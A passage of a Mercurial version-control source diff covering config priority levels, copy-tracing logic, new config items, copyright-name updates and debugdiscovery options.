[]), None) if source != dest: try: dother = hg.peer(repo, {}, dest) @@ -7076,7 +7261,7 @@ if opts.get(b'remote'): raise return dest, dbranch, None, None - ui.debug(b'comparing with %s\n' % util.hidepassword(dest)) + ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest)) elif sother is None: # there is no explicit destination peer, but source one is invalid return dest, dbranch, None, None @@ -7101,6 +7286,12 @@ dest = dbranch = dother = outgoing = None if opts.get(b'remote'): + # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`. + # The former always sets `sother` (or raises an exception if it can't); + # the latter always sets `outgoing`. + assert sother is not None + assert outgoing is not None + t = [] if incoming: t.append(_(b'1 or more incoming')) @@ -7412,7 +7603,7 @@ try: txnname = b'unbundle' if not isinstance(gen, bundle2.unbundle20): - txnname = b'unbundle\n%s' % util.hidepassword(url) + txnname = b'unbundle\n%s' % urlutil.hidepassword(url) with repo.transaction(txnname) as tr: op = bundle2.applybundle( repo, gen, tr, source=b'unbundle', url=url @@ -7428,7 +7619,10 @@ ) modheads = bundle2.combinechangegroupresults(op) - return postincoming(ui, repo, modheads, opts.get('update'), None, None) + if postincoming(ui, repo, modheads, opts.get('update'), None, None): + return 1 + else: + return 0 @command( @@ -7708,7 +7902,7 @@ ) license = _( b"(see https://mercurial-scm.org for more information)\n" - b"\nCopyright (C) 2005-2021 Matt Mackall and others\n" + b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n" b"This is free software; see the source for copying conditions. " b"There is NO\nwarranty; " b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" diff -r bc268ea9f984 -r f67b8946bb1b mercurial/commandserver.py --- a/mercurial/commandserver.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/commandserver.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # commandserver.py - communicate with Mercurial's API over a pipe # -# Copyright Matt Mackall +# Copyright Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/commit.py --- a/mercurial/commit.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/commit.py Tue Apr 20 11:01:06 2021 -0400 @@ -96,6 +96,10 @@ ctx.date(), extra, ) + rev = repo[n].rev() + if oldtip != repo.changelog.tiprev(): + repo.register_changeset(rev, repo.changelog.changelogrevision(rev)) + xp1, xp2 = p1.hex(), p2 and p2.hex() or b'' repo.hook( b'pretxncommit', @@ -108,7 +112,7 @@ targetphase = subrepoutil.newcommitphase(repo.ui, ctx) # prevent unmarking changesets as public on recommit - waspublic = oldtip == repo.changelog.tiprev() and not repo[n].phase() + waspublic = oldtip == repo.changelog.tiprev() and not repo[rev].phase() if targetphase and not waspublic: # retract boundary do not alter parent changeset. @@ -116,7 +120,7 @@ # be compliant anyway # # if minimal phase was 0 we don't need to retract anything - phases.registernew(repo, tr, targetphase, [repo[n].rev()]) + phases.registernew(repo, tr, targetphase, [rev]) return n @@ -357,6 +361,8 @@ elif fparent2 != nullid: if ms.active() and ms.extras(fname).get(b'filenode-source') == b'other': fparent1, fparent2 = fparent2, nullid + elif ms.active() and ms.extras(fname).get(b'merged') != b'yes': + fparent1, fparent2 = fparent1, nullid # is one parent an ancestor of the other? else: fparentancestors = flog.commonancestorsheads(fparent1, fparent2) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/config.py --- a/mercurial/config.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/config.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # config.py - configuration parsing for Mercurial # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -22,14 +22,19 @@ class config(object): def __init__(self, data=None): + self._current_source_level = 0 self._data = {} self._unset = [] if data: for k in data._data: self._data[k] = data[k].copy() - self._source = data._source.copy() - else: - self._source = util.cowdict() + self._current_source_level = data._current_source_level + 1 + + def new_source(self): + """increment the source counter + + This is used to define source priority when reading""" + self._current_source_level += 1 def copy(self): return config(self) @@ -48,45 +53,66 @@ yield d def update(self, src): - self._source = self._source.preparewrite() + current_level = self._current_source_level + current_level += 1 + max_level = self._current_source_level for s, n in src._unset: ds = self._data.get(s, None) if ds is not None and n in ds: self._data[s] = ds.preparewrite() del self._data[s][n] - del self._source[(s, n)] for s in src: ds = self._data.get(s, None) if ds: self._data[s] = ds.preparewrite() else: self._data[s] = util.cowsortdict() - self._data[s].update(src._data[s]) - self._source.update(src._source) + for k, v in src._data[s].items(): + value, source, level = v + level += current_level + max_level = max(level, current_level) + self._data[s][k] = (value, source, level) + self._current_source_level = max_level + + def _get(self, section, item): + return self._data.get(section, {}).get(item) def get(self, section, item, default=None): - return self._data.get(section, {}).get(item, default) + result = self._get(section, item) + if result is None: + return default + return result[0] - def backup(self, section, item): + def backup(self, section, key): """return a tuple allowing restore to reinstall a previous value The main reason we need it is because it handles the "no data" case. """ try: - value = self._data[section][item] - source = self.source(section, item) - return (section, item, value, source) + item = self._data[section][key] except KeyError: - return (section, item) + return (section, key) + else: + return (section, key) + item def source(self, section, item): - return self._source.get((section, item), b"") + result = self._get(section, item) + if result is None: + return b"" + return result[1] + + def level(self, section, item): + result = self._get(section, item) + if result is None: + return None + return result[2] def sections(self): return sorted(self._data.keys()) def items(self, section): - return list(pycompat.iteritems(self._data.get(section, {}))) + items = pycompat.iteritems(self._data.get(section, {})) + return [(k, v[0]) for (k, v) in items] def set(self, section, item, value, source=b""): if pycompat.ispy3: @@ -103,26 +129,31 @@ self._data[section] = util.cowsortdict() else: self._data[section] = self._data[section].preparewrite() - self._data[section][item] = value - if source: - self._source = self._source.preparewrite() - self._source[(section, item)] = source + self._data[section][item] = (value, source, self._current_source_level) + + def alter(self, section, key, new_value): + """alter a value without altering its source or level + + This method is meant to be used by `ui.fixconfig` only.""" + item = self._data[section][key] + size = len(item) + new_item = (new_value,) + item[1:] + assert len(new_item) == size + self._data[section][key] = new_item def restore(self, data): """restore data returned by self.backup""" - self._source = self._source.preparewrite() - if len(data) == 4: + if len(data) != 2: # restore old data - section, item, value, source = data + section, key = data[:2] + item = data[2:] self._data[section] = self._data[section].preparewrite() - self._data[section][item] = value - self._source[(section, item)] = source + self._data[section][key] = item else: # no data before, remove everything section, item = data if section in self._data: self._data[section].pop(item, None) - self._source.pop((section, item), None) def parse(self, src, data, sections=None, remap=None, include=None): sectionre = util.re.compile(br'\[([^\[]+)\]') @@ -206,6 +237,7 @@ raise error.ConfigError(message, (b"%s:%d" % (src, line))) def read(self, path, fp=None, sections=None, remap=None): + self.new_source() if not fp: fp = util.posixfile(path, b'rb') assert ( @@ -220,6 +252,8 @@ def include(rel, remap, sections): abs = os.path.normpath(os.path.join(dir, rel)) self.read(abs, remap=remap, sections=sections) + # anything after the include has a higher level + self.new_source() self.parse( path, fp.read(), sections=sections, remap=remap, include=include diff -r bc268ea9f984 -r f67b8946bb1b mercurial/configitems.py --- a/mercurial/configitems.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/configitems.py Tue Apr 20 11:01:06 2021 -0400 @@ -570,11 +570,21 @@ default=0, ) coreconfigitem( + b'convert', + b'svn.dangerous-set-commit-dates', + default=False, +) +coreconfigitem( b'debug', b'dirstate.delaywrite', default=0, ) coreconfigitem( + b'debug', + b'revlog.verifyposition.changelog', + default=b'', +) +coreconfigitem( b'defaults', b'.*', default=None, @@ -610,6 +620,12 @@ b'check-relroot', default=False, ) +# Track copy information for all file, not just "added" one (very slow) +coreconfigitem( + b'devel', + b'copy-tracing.trace-all-files', + default=False, +) coreconfigitem( b'devel', b'default-date', @@ -689,6 +705,11 @@ ) coreconfigitem( b'devel', + b'copy-tracing.multi-thread', + default=True, +) +coreconfigitem( + b'devel', b'debug.extensions', default=False, ) @@ -716,6 +737,14 @@ b'discovery.grow-sample', default=True, ) +# When discovery.grow-sample.dynamic is True, the default, the sample size is +# adapted to the shape of the undecided set (it is set to the max of: +# , len(roots(undecided)), len(heads(undecided) +coreconfigitem( + b'devel', + b'discovery.grow-sample.dynamic', + default=True, +) # discovery.grow-sample.rate control the rate at which the sample grow coreconfigitem( b'devel', @@ -729,8 +758,26 @@ b'discovery.randomize', default=True, ) +# Control the initial size of the discovery sample +coreconfigitem( + b'devel', + b'discovery.sample-size', + default=200, +) +# Control the initial size of the discovery for initial change +coreconfigitem( + b'devel', + b'discovery.sample-size.initial', + default=100, +) _registerdiffopts(section=b'diff') coreconfigitem( + b'diff', + b'merge', + default=False, + experimental=True, +) +coreconfigitem( b'email', b'bcc', default=None, @@ -827,6 +874,31 @@ ) coreconfigitem( b'experimental', + b'bundlecompthreads', + default=None, +) +coreconfigitem( + b'experimental', + b'bundlecompthreads.bzip2', + default=None, +) +coreconfigitem( + b'experimental', + b'bundlecompthreads.gzip', + default=None, +) +coreconfigitem( + b'experimental', + b'bundlecompthreads.none', + default=None, +) +coreconfigitem( + b'experimental', + b'bundlecompthreads.zstd', + default=None, +) +coreconfigitem( + b'experimental', b'changegroup3', default=False, ) @@ -1235,7 +1307,7 @@ coreconfigitem( b'format', b'revlog-compression', - default=lambda: [b'zlib'], + default=lambda: [b'zstd', b'zlib'], alias=[(b'experimental', b'format.compression')], ) coreconfigitem( @@ -1253,10 +1325,36 @@ b'usestore', default=True, ) + + +def _persistent_nodemap_default(): + """compute `use-persistent-nodemap` default value + + The feature is disabled unless a fast implementation is available. + """ + from . import policy + + return policy.importrust('revlog') is not None + + coreconfigitem( b'format', b'use-persistent-nodemap', + default=_persistent_nodemap_default, +) +# TODO needs to grow a docket file to at least store the last offset of the data +# file when rewriting sidedata. +# Will also need a way of dealing with garbage data if we allow rewriting +# *existing* sidedata. +# Exchange-wise, we will also need to do something more efficient than keeping +# references to the affected revlogs, especially memory-wise when rewriting +# sidedata. +# Also... compress the sidedata? (this should be coming very soon) +coreconfigitem( + b'format', + b'exp-revlogv2.2', default=False, + experimental=True, ) coreconfigitem( b'format', diff -r bc268ea9f984 -r f67b8946bb1b mercurial/context.py --- a/mercurial/context.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/context.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # context.py - changeset and file context objects for mercurial # -# Copyright 2006, 2007 Matt Mackall +# Copyright 2006, 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -2599,6 +2599,7 @@ b'flags': flags, b'copied': copied, } + util.clearcachedproperty(self, b'_manifest') def filectx(self, path, filelog=None): return overlayworkingfilectx( @@ -2884,7 +2885,7 @@ # "1 < len(self._parents)" can't be used for checking # existence of the 2nd parent, because "memctx._parents" is # explicitly initialized by the list, of which length is 2. - if p2.node() != nullid: + if p2.rev() != nullrev: man2 = p2.manifest() managing = lambda f: f in man1 or f in man2 else: @@ -2902,7 +2903,7 @@ return scmutil.status(modified, added, removed, [], [], [], []) def parents(self): - if self._parents[1].node() == nullid: + if self._parents[1].rev() == nullrev: return [self._parents[0]] return self._parents @@ -2999,7 +3000,7 @@ parents = [repo[p] for p in parents if p is not None] parents = parents[:] while len(parents) < 2: - parents.append(repo[nullid]) + parents.append(repo[nullrev]) p1, p2 = self._parents = parents # sanity check to ensure that the reused manifest parents are @@ -3051,7 +3052,7 @@ # "1 < len(self._parents)" can't be used for checking # existence of the 2nd parent, because "metadataonlyctx._parents" is # explicitly initialized by the list, of which length is 2. - if p2.node() != nullid: + if p2.rev() != nullrev: man2 = p2.manifest() managing = lambda f: f in man1 or f in man2 else: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/copies.py --- a/mercurial/copies.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/copies.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # coding: utf8 # copies.py - copy detection for Mercurial # -# Copyright 2008 Matt Mackall +# Copyright 2008 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -59,14 +59,13 @@ # Cases 1, 3, and 5 are then removed by _filter(). for k, v in list(t.items()): - # remove copies from files that didn't exist - if v not in src: + if k == v: # case 3 del t[k] - # remove criss-crossed copies - elif k in src and v in dst: + elif v not in src: # case 5 + # remove copies from files that didn't exist del t[k] - # remove copies to files that were then removed - elif k not in dst: + elif k not in dst: # case 1 + # remove copies to files that were then removed del t[k] @@ -150,16 +149,24 @@ # optimization, since the ctx.files() for a merge commit is not correct for # this comparison. forwardmissingmatch = match - if b.p1() == a and b.p2().node() == nullid: + if b.p1() == a and b.p2().rev() == nullrev: filesmatcher = matchmod.exact(b.files()) forwardmissingmatch = matchmod.intersectmatchers(match, filesmatcher) - missing = _computeforwardmissing(a, b, match=forwardmissingmatch) + if repo.ui.configbool(b'devel', b'copy-tracing.trace-all-files'): + missing = list(b.walk(match)) + # _computeforwardmissing(a, b, match=forwardmissingmatch) + if debug: + dbg(b'debug.copies: searching all files: %d\n' % len(missing)) + else: + missing = _computeforwardmissing(a, b, match=forwardmissingmatch) + if debug: + dbg( + b'debug.copies: missing files to search: %d\n' + % len(missing) + ) ancestrycontext = a._repo.changelog.ancestors([b.rev()], inclusive=True) - if debug: - dbg(b'debug.copies: missing files to search: %d\n' % len(missing)) - for f in sorted(missing): if debug: dbg(b'debug.copies: tracing file: %s\n' % f) @@ -267,6 +274,7 @@ revs = cl.findmissingrevs(common=[a.rev()], heads=[b.rev()]) roots = set() has_graph_roots = False + multi_thread = repo.ui.configbool(b'devel', b'copy-tracing.multi-thread') # iterate over `only(B, A)` for r in revs: @@ -314,7 +322,13 @@ children_count[p] += 1 revinfo = _revinfo_getter(repo, match) return _combine_changeset_copies( - revs, children_count, b.rev(), revinfo, match, isancestor + revs, + children_count, + b.rev(), + revinfo, + match, + isancestor, + multi_thread, ) else: # When not using side-data, we will process the edges "from" the parent. @@ -339,7 +353,7 @@ def _combine_changeset_copies( - revs, children_count, targetrev, revinfo, match, isancestor + revs, children_count, targetrev, revinfo, match, isancestor, multi_thread ): """combine the copies information for each item of iterrevs @@ -356,7 +370,7 @@ if rustmod is not None: final_copies = rustmod.combine_changeset_copies( - list(revs), children_count, targetrev, revinfo, isancestor + list(revs), children_count, targetrev, revinfo, multi_thread ) else: isancestor = cached_is_ancestor(isancestor) @@ -427,7 +441,11 @@ # potential filelog related behavior. assert parent == 2 current_copies = _merge_copies_dict( - newcopies, current_copies, isancestor, changes + newcopies, + current_copies, + isancestor, + changes, + current_rev, ) all_copies[current_rev] = current_copies @@ -449,7 +467,7 @@ PICK_EITHER = 2 -def _merge_copies_dict(minor, major, isancestor, changes): +def _merge_copies_dict(minor, major, isancestor, changes, current_merge): """merge two copies-mapping together, minor and major In case of conflict, value from "major" will be picked. @@ -467,39 +485,75 @@ if other is None: minor[dest] = value else: - pick = _compare_values(changes, isancestor, dest, other, value) - if pick == PICK_MAJOR: + pick, overwrite = _compare_values( + changes, isancestor, dest, other, value + ) + if overwrite: + if pick == PICK_MAJOR: + minor[dest] = (current_merge, value[1]) + else: + minor[dest] = (current_merge, other[1]) + elif pick == PICK_MAJOR: minor[dest] = value return minor def _compare_values(changes, isancestor, dest, minor, major): - """compare two value within a _merge_copies_dict loop iteration""" + """compare two value within a _merge_copies_dict loop iteration + + return (pick, overwrite). + + - pick is one of PICK_MINOR, PICK_MAJOR or PICK_EITHER + - overwrite is True if pick is a return of an ambiguity that needs resolution. + """ major_tt, major_value = major minor_tt, minor_value = minor - # evacuate some simple case first: if major_tt == minor_tt: # if it comes from the same revision it must be the same value assert major_value == minor_value - return PICK_EITHER - elif major[1] == minor[1]: - return PICK_EITHER - - # actual merging needed: content from "major" wins, unless it is older than - # the branch point or there is a merge - elif changes is not None and major[1] is None and dest in changes.salvaged: - return PICK_MINOR - elif changes is not None and minor[1] is None and dest in changes.salvaged: - return PICK_MAJOR - elif changes is not None and dest in changes.merged: - return PICK_MAJOR - elif not isancestor(major_tt, minor_tt): - if major[1] is not None: - return PICK_MAJOR - elif isancestor(minor_tt, major_tt): - return PICK_MAJOR - return PICK_MINOR + return PICK_EITHER, False + elif ( + changes is not None + and minor_value is not None + and major_value is None + and dest in changes.salvaged + ): + # In this case, a deletion was reverted, the "alive" value overwrite + # the deleted one. + return PICK_MINOR, True + elif ( + changes is not None + and major_value is not None + and minor_value is None + and dest in changes.salvaged + ): + # In this case, a deletion was reverted, the "alive" value overwrite + # the deleted one. + return PICK_MAJOR, True + elif isancestor(minor_tt, major_tt): + if changes is not None and dest in changes.merged: + # change to dest happened on the branch without copy-source change, + # so both source are valid and "major" wins. + return PICK_MAJOR, True + else: + return PICK_MAJOR, False + elif isancestor(major_tt, minor_tt): + if changes is not None and dest in changes.merged: + # change to dest happened on the branch without copy-source change, + # so both source are valid and "major" wins. + return PICK_MAJOR, True + else: + return PICK_MINOR, False + elif minor_value is None: + # in case of conflict, the "alive" side wins. + return PICK_MAJOR, True + elif major_value is None: + # in case of conflict, the "alive" side wins. + return PICK_MINOR, True + else: + # in case of conflict where both side are alive, major wins. + return PICK_MAJOR, True def _revinfo_getter_extra(repo): @@ -650,22 +704,28 @@ def _backwardrenames(a, b, match): + """find renames from a to b""" if a._repo.ui.config(b'experimental', b'copytrace') == b'off': return {} + # We don't want to pass in "match" here, since that would filter + # the destination by it. Since we're reversing the copies, we want + # to filter the source instead. + copies = _forwardcopies(b, a) + return _reverse_renames(copies, a, match) + + +def _reverse_renames(copies, dst, match): + """given copies to context 'dst', finds renames from that context""" # Even though we're not taking copies into account, 1:n rename situations # can still exist (e.g. hg cp a b; hg mv a c). In those cases we # arbitrarily pick one of the renames. - # We don't want to pass in "match" here, since that would filter - # the destination by it. Since we're reversing the copies, we want - # to filter the source instead. - f = _forwardcopies(b, a) r = {} - for k, v in sorted(pycompat.iteritems(f)): + for k, v in sorted(pycompat.iteritems(copies)): if match and not match(v): continue # remove copies - if v in a: + if v in dst: continue r[v] = k return r @@ -701,9 +761,17 @@ base = None if a.rev() != nullrev: base = x + x_copies = _forwardcopies(a, x) + y_copies = _forwardcopies(a, y, base, match=match) + same_keys = set(x_copies) & set(y_copies) + for k in same_keys: + if x_copies.get(k) == y_copies.get(k): + del x_copies[k] + del y_copies[k] + x_backward_renames = _reverse_renames(x_copies, x, match) copies = _chain( - _backwardrenames(x, a, match=match), - _forwardcopies(a, y, base, match=match), + x_backward_renames, + y_copies, ) _filter(x, y, copies) return copies @@ -1042,11 +1110,17 @@ b" discovered dir src: '%s' -> dst: '%s'\n" % (d, dirmove[d]) ) + # Sort the directories in reverse order, so we find children first + # For example, if dir1/ was renamed to dir2/, and dir1/subdir1/ + # was renamed to dir2/subdir2/, we want to move dir1/subdir1/file + # to dir2/subdir2/file (not dir2/subdir1/file) + dirmove_children_first = sorted(dirmove, reverse=True) + movewithdir = {} # check unaccounted nonoverlapping files against directory moves for f in addedfilesfn(): if f not in fullcopy: - for d in dirmove: + for d in dirmove_children_first: if f.startswith(d): # new file added in a directory that was moved, move it df = dirmove[d] + f[len(d) :] @@ -1220,6 +1294,15 @@ by merge.update(). """ new_copies = pathcopies(base, ctx) - _filter(wctx.p1(), wctx, new_copies) + parent = wctx.p1() + _filter(parent, wctx, new_copies) + # Extra filtering to drop copy information for files that existed before + # the graft. This is to handle the case of grafting a rename onto a commit + # that already has the rename. Otherwise the presence of copy information + # would result in the creation of an empty commit where we would prefer to + # not create one. + for dest, __ in list(new_copies.items()): + if dest in parent: + del new_copies[dest] for dst, src in pycompat.iteritems(new_copies): wctx[dst].markcopied(src) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/dagop.py --- a/mercurial/dagop.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/dagop.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # dagop.py - graph ancestry and topology algorithm for revset # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/debugcommands.py --- a/mercurial/debugcommands.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/debugcommands.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # debugcommands.py - command processing for debug* commands # -# Copyright 2005-2016 Matt Mackall +# Copyright 2005-2016 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -9,6 +9,7 @@ import codecs import collections +import contextlib import difflib import errno import glob @@ -69,6 +70,7 @@ pycompat, registrar, repair, + repoview, revlog, revset, revsetlang, @@ -96,6 +98,7 @@ dateutil, procutil, stringutil, + urlutil, ) from .revlogutils import ( @@ -345,7 +348,7 @@ def showchunks(named): ui.write(b"\n%s%s\n" % (indent_string, named)) for deltadata in gen.deltaiter(): - node, p1, p2, cs, deltabase, delta, flags = deltadata + node, p1, p2, cs, deltabase, delta, flags, sidedata = deltadata ui.write( b"%s%s %s %s %s %s %d\n" % ( @@ -371,7 +374,7 @@ raise error.Abort(_(b'use debugbundle2 for this file')) gen.changelogheader() for deltadata in gen.deltaiter(): - node, p1, p2, cs, deltabase, delta, flags = deltadata + node, p1, p2, cs, deltabase, delta, flags, sidedata = deltadata ui.write(b"%s%s\n" % (indent_string, hex(node))) @@ -470,27 +473,47 @@ """lists the capabilities of a remote peer""" opts = pycompat.byteskwargs(opts) peer = hg.peer(ui, opts, path) - caps = peer.capabilities() - ui.writenoi18n(b'Main capabilities:\n') - for c in sorted(caps): - ui.write(b' %s\n' % c) - b2caps = bundle2.bundle2caps(peer) - if b2caps: - ui.writenoi18n(b'Bundle2 capabilities:\n') - for key, values in sorted(pycompat.iteritems(b2caps)): - ui.write(b' %s\n' % key) - for v in values: - ui.write(b' %s\n' % v) - - -@command(b'debugchangedfiles', [], b'REV') -def debugchangedfiles(ui, repo, rev): + try: + caps = peer.capabilities() + ui.writenoi18n(b'Main capabilities:\n') + for c in sorted(caps): + ui.write(b' %s\n' % c) + b2caps = bundle2.bundle2caps(peer) + if b2caps: + ui.writenoi18n(b'Bundle2 capabilities:\n') + for key, values in sorted(pycompat.iteritems(b2caps)): + ui.write(b' %s\n' % key) + for v in values: + ui.write(b' %s\n' % v) + finally: + peer.close() + + +@command( + b'debugchangedfiles', + [ + ( + b'', + b'compute', + False, + b"compute information instead of reading it from storage", + ), + ], + b'REV', +) +def debugchangedfiles(ui, repo, rev, **opts): """list the stored files changes for a revision""" ctx = scmutil.revsingle(repo, rev, None) - sd = repo.changelog.sidedata(ctx.rev()) - files_block = sd.get(sidedata.SD_FILES) - if files_block is not None: - files = metadata.decode_files_sidedata(sd) + files = None + + if opts['compute']: + files = metadata.compute_all_files_changes(ctx) + else: + sd = repo.changelog.sidedata(ctx.rev()) + files_block = sd.get(sidedata.SD_FILES) + if files_block is not None: + files = metadata.decode_files_sidedata(sd) + if files is not None: for f in sorted(files.touched): if f in files.added: action = b"added" @@ -964,20 +987,111 @@ ), (b'', b'rev', [], b'restrict discovery to this set of revs'), (b'', b'seed', b'12323', b'specify the random seed use for discovery'), + ( + b'', + b'local-as-revs', + b"", + b'treat local has having these revisions only', + ), + ( + b'', + b'remote-as-revs', + b"", + b'use local as remote, with only these these revisions', + ), ] - + cmdutil.remoteopts, + + cmdutil.remoteopts + + cmdutil.formatteropts, _(b'[--rev REV] [OTHER]'), ) def debugdiscovery(ui, repo, remoteurl=b"default", **opts): - """runs the changeset discovery protocol in isolation""" + """runs the changeset discovery protocol in isolation + + The local peer can be "replaced" by a subset of the local repository by + using the `--local-as-revs` flag. Int he same way, usual `remote` peer can + be "replaced" by a subset of the local repository using the + `--local-as-revs` flag. This is useful to efficiently debug pathological + discovery situation. + + The following developer oriented config are relevant for people playing with this command: + + * devel.discovery.exchange-heads=True + + If False, the discovery will not start with + remote head fetching and local head querying. + + * devel.discovery.grow-sample=True + + If False, the sample size used in set discovery will not be increased + through the process + + * devel.discovery.grow-sample.dynamic=True + + When discovery.grow-sample.dynamic is True, the default, the sample size is + adapted to the shape of the undecided set (it is set to the max of: + , len(roots(undecided)), len(heads(undecided) + + * devel.discovery.grow-sample.rate=1.05 + + the rate at which the sample grow + + * devel.discovery.randomize=True + + If andom sampling during discovery are deterministic. It is meant for + integration tests. + + * devel.discovery.sample-size=200 + + Control the initial size of the discovery sample + + * devel.discovery.sample-size.initial=100 + + Control the initial size of the discovery for initial change + """ opts = pycompat.byteskwargs(opts) - remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl)) - remote = hg.peer(repo, opts, remoteurl) - ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl)) + unfi = repo.unfiltered() + + # setup potential extra filtering + local_revs = opts[b"local_as_revs"] + remote_revs = opts[b"remote_as_revs"] # make sure tests are repeatable random.seed(int(opts[b'seed'])) + if not remote_revs: + + remoteurl, branches = urlutil.get_unique_pull_path( + b'debugdiscovery', repo, ui, remoteurl + ) + remote = hg.peer(repo, opts, remoteurl) + ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl)) + else: + branches = (None, []) + remote_filtered_revs = scmutil.revrange( + unfi, [b"not (::(%s))" % remote_revs] + ) + remote_filtered_revs = frozenset(remote_filtered_revs) + + def remote_func(x): + return remote_filtered_revs + + repoview.filtertable[b'debug-discovery-remote-filter'] = remote_func + + remote = repo.peer() + remote._repo = remote._repo.filtered(b'debug-discovery-remote-filter') + + if local_revs: + local_filtered_revs = scmutil.revrange( + unfi, [b"not (::(%s))" % local_revs] + ) + local_filtered_revs = frozenset(local_filtered_revs) + + def local_func(x): + return local_filtered_revs + + repoview.filtertable[b'debug-discovery-local-filter'] = local_func + repo = repo.filtered(b'debug-discovery-local-filter') + data = {} if opts.get(b'old'): @@ -1014,8 +1128,21 @@ remoterevs, _checkout = hg.addbranchrevs(repo, remote, branches, revs=None) localrevs = opts[b'rev'] - with util.timedcm('debug-discovery') as t: - common, hds = doit(localrevs, remoterevs) + + fm = ui.formatter(b'debugdiscovery', opts) + if fm.strict_format: + + @contextlib.contextmanager + def may_capture_output(): + ui.pushbuffer() + yield + data[b'output'] = ui.popbuffer() + + else: + may_capture_output = util.nullcontextmanager + with may_capture_output(): + with util.timedcm('debug-discovery') as t: + common, hds = doit(localrevs, remoterevs) # compute all statistics heads_common = set(common) @@ -1066,50 +1193,41 @@ data[b'nb-ini_und-common'] = len(common_initial_undecided) data[b'nb-ini_und-missing'] = len(missing_initial_undecided) + fm.startitem() + fm.data(**pycompat.strkwargs(data)) # display discovery summary - ui.writenoi18n(b"elapsed time: %(elapsed)f seconds\n" % data) - ui.writenoi18n(b"round-trips: %(total-roundtrips)9d\n" % data) - ui.writenoi18n(b"heads summary:\n") - ui.writenoi18n(b" total common heads: %(nb-common-heads)9d\n" % data) - ui.writenoi18n( - b" also local heads: %(nb-common-heads-local)9d\n" % data - ) - ui.writenoi18n( - b" also remote heads: %(nb-common-heads-remote)9d\n" % data - ) - ui.writenoi18n(b" both: %(nb-common-heads-both)9d\n" % data) - ui.writenoi18n(b" local heads: %(nb-head-local)9d\n" % data) - ui.writenoi18n( - b" common: %(nb-common-heads-local)9d\n" % data - ) - ui.writenoi18n( - b" missing: %(nb-head-local-missing)9d\n" % data - ) - ui.writenoi18n(b" remote heads: %(nb-head-remote)9d\n" % data) - ui.writenoi18n( - b" common: %(nb-common-heads-remote)9d\n" % data - ) - ui.writenoi18n( - b" unknown: %(nb-head-remote-unknown)9d\n" % data - ) - ui.writenoi18n(b"local changesets: %(nb-revs)9d\n" % data) - ui.writenoi18n(b" common: %(nb-revs-common)9d\n" % data) - ui.writenoi18n(b" heads: %(nb-common-heads)9d\n" % data) - ui.writenoi18n(b" roots: %(nb-common-roots)9d\n" % data) - ui.writenoi18n(b" missing: %(nb-revs-missing)9d\n" % data) - ui.writenoi18n(b" heads: %(nb-missing-heads)9d\n" % data) - ui.writenoi18n(b" roots: %(nb-missing-roots)9d\n" % data) - ui.writenoi18n(b" first undecided set: %(nb-ini_und)9d\n" % data) - ui.writenoi18n(b" heads: %(nb-ini_und-heads)9d\n" % data) - ui.writenoi18n(b" roots: %(nb-ini_und-roots)9d\n" % data) - ui.writenoi18n(b" common: %(nb-ini_und-common)9d\n" % data) - ui.writenoi18n(b" missing: %(nb-ini_und-missing)9d\n" % data) + fm.plain(b"elapsed time: %(elapsed)f seconds\n" % data) + fm.plain(b"round-trips: %(total-roundtrips)9d\n" % data) + fm.plain(b"heads summary:\n") + fm.plain(b" total common heads: %(nb-common-heads)9d\n" % data) + fm.plain(b" also local heads: %(nb-common-heads-local)9d\n" % data) + fm.plain(b" also remote heads: %(nb-common-heads-remote)9d\n" % data) + fm.plain(b" both: %(nb-common-heads-both)9d\n" % data) + fm.plain(b" local heads: %(nb-head-local)9d\n" % data) + fm.plain(b" common: %(nb-common-heads-local)9d\n" % data) + fm.plain(b" missing: %(nb-head-local-missing)9d\n" % data) + fm.plain(b" remote heads: %(nb-head-remote)9d\n" % data) + fm.plain(b" common: %(nb-common-heads-remote)9d\n" % data) + fm.plain(b" unknown: %(nb-head-remote-unknown)9d\n" % data) + fm.plain(b"local changesets: %(nb-revs)9d\n" % data) + fm.plain(b" common: %(nb-revs-common)9d\n" % data) + fm.plain(b" heads: %(nb-common-heads)9d\n" % data) + fm.plain(b" roots: %(nb-common-roots)9d\n" % data) + fm.plain(b" missing: %(nb-revs-missing)9d\n" % data) + fm.plain(b" heads: %(nb-missing-heads)9d\n" % data) + fm.plain(b" roots: %(nb-missing-roots)9d\n" % data) + fm.plain(b" first undecided set: %(nb-ini_und)9d\n" % data) + fm.plain(b" heads: %(nb-ini_und-heads)9d\n" % data) + fm.plain(b" roots: %(nb-ini_und-roots)9d\n" % data) 